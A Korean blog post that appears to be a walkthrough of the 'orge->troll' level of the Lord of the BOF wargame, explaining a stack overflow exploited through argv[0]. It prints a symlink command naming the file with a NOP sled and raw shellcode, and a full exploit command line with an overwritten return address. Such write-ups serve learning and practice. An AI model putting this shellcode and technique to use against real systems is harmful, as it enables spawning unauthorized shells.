튜기's blogggg

LOB orge->troll

by St1tch



코드를 보면 좀 골치아프게 되어있다.

이전 까지의 문제에서는 argv의 갯수에 제한이 없었는데, 이 문제는 2개로 제한이 되어있다.

따라서 argv[2]를 이용할 수 없다.

또한 마지막 부분에 argv[1]부분을 0으로 초기화 하고 있다.

따라서 argv[0]을 이용하거나, python으로 exec류의 함수를 써서 exploit을 작성해야한다.


우선 첫번째 방법으로 argv[0]을 이용한다.

argv[0]에는 실행시키는 파일의 이름이 나온다.

보통 환경변수와 같이 스택의 제일 마지막 부분에 있다.


확인을 해보면 argv[0]에 해당하는 string이 2개가 있다.

c로 argv[0]의 주소를 출력해주는 프로그램을 만들어서 확인해보면 위의 빨간줄에 해당하는 주소가 나온다.


하지만 memset을 하고난 이후에 break를 걸어놓고 확인을 해보면 환경변수들이 초기화되고,

 밑에 빨간줄 쳐놓은 부분만 남아있는것을 볼 수 있다.

따라서 exploit를 만들때 밑에 주소를 ret주소를 계산하는데 사용했다.


우선 argv[0]은 파일이름이기 때문에 파일이름을 nopslide + shellcode로 만들어야 한다.

ln을 이용해 링크를 만들면 되는데 -s옵션을 붙여서 심볼릭링크를 만들었다.


ln -s ./troll `python -c 'print "\x90" * 32 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`


이렇게 만들고 argv[1]로 nop * 44 + "\xbf\xbf\xbf\xbf"를 임시로 주었다.

그리고 core파일을 확인해 ret주소를 확인했다.



0xbfffff9f 정도에 return을 해주면 쉘코드가 실행이 된다.


[exploit code]

./`python -c 'print "\x90" * 32 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "\x90" * 44 + "\x9f\xff\xff\xbf"'`



파이썬을 이용해서 하는 방법도 있다.



execl함수에서 argv[0]을 인자로 넣어줄수있다. 이 함수와 자식 프로세스를 이용해서 브루트포싱을 하는 python코드이다.

파이썬 버전이 예전 버전이라 += 연산도 안되고 문자열관련해서도 안되는 함수가 많아서 좀 불편하다.


쉘을 딸때의 ret주소가 위의 첫번째 방법과는 다른 주소가 나타난다.


이 주소는 argv[0]의 주소를 출력할때 나오는 값과 거의 근사하다.


왜 첫번째방법과 두번째방법에서 exploit코드의 삽입위치가 다른지 알아보니

첫번째 방법에서의 argv[0]은 argv[0]이 아니라 파일의 경로였고, (경로/쉘코드여서 공격가능)

두번째 방법에서의 argv[0]은 실제 argv[0]의 주소였다.







블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기